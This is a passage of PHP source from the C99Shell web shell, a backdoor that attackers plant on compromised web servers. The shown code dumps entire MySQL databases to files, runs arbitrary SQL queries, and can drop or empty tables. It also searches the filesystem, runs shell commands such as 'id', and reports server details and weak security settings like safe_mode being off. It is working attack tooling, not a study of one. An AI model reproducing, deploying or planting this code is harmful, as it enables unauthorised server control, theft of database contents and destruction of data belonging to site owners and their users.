  $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 }
 if (!is_array($tabs)) {$tabs = array();}
 if (empty($add_drop)) {$add_drop = TRUE;}
 if (sizeof($tabs) == 0)
 {
  // retrive tables-list
  $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 }
 $out = "# Dumped by C99Shell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
 $c = count($onlytabs);
 foreach($tabs as $tab)
 {
  if ((in_array($tab,$onlytabs)) or (!$c))
  {
   if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
   // recieve query for create table structure
   $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
   if (!$res) {$ret["err"][] = mysql_smarterror();}
   else
   {
    $row = mysql_fetch_row($res);
    $out .= $row["1"].";\n\n";
    // recieve table variables
    $res = mysql_query("SELECT * FROM `$tab`", $sock);
    if (mysql_num_rows($res) > 0)
    {
     while ($row = mysql_fetch_assoc($res))
     {
      $keys = implode("`, `", array_keys($row));
      $values = array_values($row);
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
      $values = implode("', '", $values);
      $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
      $out .= $sql;
     }
    }
   }
  }
 }
 $out .= "#---------------------------------------------------------------------------------\n\n";
 if ($file)
 {
  $fp = fopen($file, "w");
  if (!$fp) {$ret["err"][] = 2;}
  else
  {
   fwrite ($fp, $out);
   fclose ($fp);
  }
 }
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
 if (!is_array($array)) {$array = array();}
 $result = "";
 foreach($array as $k=>$v)
 {
  $value = "";
  if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  $value .= "'".addslashes($v)."'";
  if (!empty($functs[$k])) {$value .= ")";}
  $result .= "`".$k."` = ".$value.$sep;
 }
 $result = substr($result,0,strlen($result)-strlen($sep));
 return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
 if ($sock) {$result = mysql_query($query,$sock);}
 else {$result = mysql_query($query);}
 $array = array();
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 mysql_free_result($result);
 return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
 if ($sock) {$error = mysql_error($sock);}
 else {$error = mysql_error();}
 $error = htmlspecialchars($error);
 return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 if ((!$submit) or ($sql_act))
 {
  echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  if ($tbl_struct)
  {
   echo "<td valign=\"top\"><b>Fields:</b><br>";
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
   echo "</td></tr></table>";
  }
 }
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
 $sql = "CREATE DATABASE `".addslashes($db)."`;";
 if ($sock) {return mysql_query($sql,$sock);}
 else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
 $query = trim($query);
 $arr = explode (" ",$query);
 /*array array()
 {
  "METHOD"=>array(output_type),
  "METHOD1"...
  ...
 }
 if output_type == 0, no output,
 if output_type == 1, no output if no error
 if output_type == 2, output without control-buttons
 if output_type == 3, output with control-buttons
 */
 $types = array(
  "SELECT"=>array(3,1),
  "SHOW"=>array(2,1),
  "DELETE"=>array(1),
  "DROP"=>array(1)
 );
 $result = array();
 $op = strtoupper($arr[0]);
 if (is_array($types[$op]))
 {
  $result["propertions"] = $types[$op];
  $result["query"]  = $query;
  if ($types[$op] == 2)
  {
   foreach($arr as $k=>$v)
   {
    if (strtoupper($v) == "LIMIT")
    {
     $result["limit"] = $arr[$k+1];
     $result["limit"] = explode(",",$result["limit"]);
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
     unset($arr[$k],$arr[$k+1]);
    }
   }
  }
 }
 else {return FALSE;}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h)) !== FALSE)
 {
  if($f != "." && $f != "..")
  {
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
   if (is_dir($d.$f))
   {
    $search_i_d++;
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
    if (!is_link($d.$f)) {c99fsearch($d.$f);}
   }
   else
   {
    $search_i_f++;
    if ($bool)
    {
     if (!empty($a["text"]))
     {
      $r = @file_get_contents($d.$f);
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
      else {$bool = strpos(" ".$r,$a["text"],1);}
      if ($a["text_not"]) {$bool = !$bool;}
      if ($bool) {$found[] = $d.$f; $found_f++;}
     }
     else {$found[] = $d.$f; $found_f++;}
    }
   }
  }
 }
 closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
 global $gzipencode,$ft;
 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
 {
  $v = @ob_get_contents();
  @ob_end_clean();
  @ob_start("ob_gzHandler");
  echo $v;
  @ob_end_flush();
 }
}
function c99shexit()
{
 onphpshutdown();
 exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
 $tmpdir = ini_get("upload_tmp_dir");
 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = TRUE;
 $hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
 $t = "";
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.DIRECTORY_SEPARATOR;
  if ($j == $i) {break;}
  $j++;
 }
 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 $i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (is_writable($d))
{
 $wd = TRUE;
 $wdt = "<font color=green>[ ok ]</font>";
 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
 $wd = FALSE;
 $wdt = "<font color=red>[ Read-Only ]</font>";
 echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
 $free = disk_free_space($d);
 $total = disk_total_space($d);
 if ($free === FALSE) {$free = 0;}
 if ($total === FALSE) {$total = 0;}
 if ($free < 0) {$free = 0;}
 if ($total < 0) {$total = 0;}
 $used = $total-$free;
 $free_percent = round(100/($total/$free),2);
 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
 $v = explode("\\",$d);
 $v = $v[0];
 foreach (range("a","z") as $letter)
 {
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  if (!$bool) {$bool = is_dir($letter.":\\");}
  if ($bool)
  {
   $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
   if ($letter.":" != $v) {$letters .= $letter;}
   else {$letters .= "<font color=green>".$letter."</font>";}
   $letters .= " ]</a> ";
  }
 }
 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
 foreach($quicklaunch as $item)
 {
  $item[1] = str_replace("%d",urlencode($d),$item[1]);
  $item[1] = str_replace("%sort",$sort,$item[1]);
  $v = realpath($d."..");
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 }
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
 $sql_surl = $surl."act=sql";
 if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
 if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 $sql_surl .= "&";
 ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 if ($sql_server)
 {
  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  $err = mysql_smarterror();
  @mysql_select_db($sql_db,$sql_sock);
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 }
 else {$sql_sock = FALSE;}
 echo "<b>SQL Manager:</b><br>";
 if (!$sql_sock)
 {
  if (!$sql_server) {echo "NO CONNECTION";}
  else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
 }
 else
 {
  $sqlquicklaunch = array();
  $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  echo "</center>";
 }
 echo "</td></tr><tr>";
 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 else
 {
  //Start left panel
  if (!empty($sql_db))
  {
   ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_tables($sql_db);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
    $c = 0;
    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
    if (!$c) {echo "No tables found in database.";}
   }
  }
  else
  {
   ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_dbs($sql_sock);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
    $c = 0;
    $dbs = "";
    while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
    echo "<option value=\"\">Databases (".$c.")</option>";
    echo $dbs;
   }
   ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  }
  //End left panel
  echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  //Start center panel
  $diplay = TRUE;
  if ($sql_db)
  {
   if (!is_numeric($c)) {$c = 0;}
   if ($c == 0) {$c = "no";}
   echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
   if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
   echo "</b></center>";
   $acts = array("","dump");
   if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
   elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
   elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
   elseif ($sql_tbl_act == "insert")
   {
    if ($sql_tbl_insert_radio == 1)
    {
     $keys = "";
     $akeys = array_keys($sql_tbl_insert);
     foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
     $values = "";
     $i = 0;
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
     $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
    elseif ($sql_tbl_insert_radio == 2)
    {
     $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
     $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
     $result = mysql_query($sql_query) or print(mysql_smarterror());
     $result = mysql_fetch_array($result, MYSQL_ASSOC);
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
   }
   if ($sql_act == "query")
   {
    echo "<hr size=\"1\" noshade>";
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
    if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
   }
   if (in_array($sql_act,$acts))
   {
    ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
    if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
    if ($sql_act == "newtbl")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
    }
    else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
   }
   elseif ($sql_act == "dump")
   {
    if (empty($submit))
    {
     $diplay = FALSE;
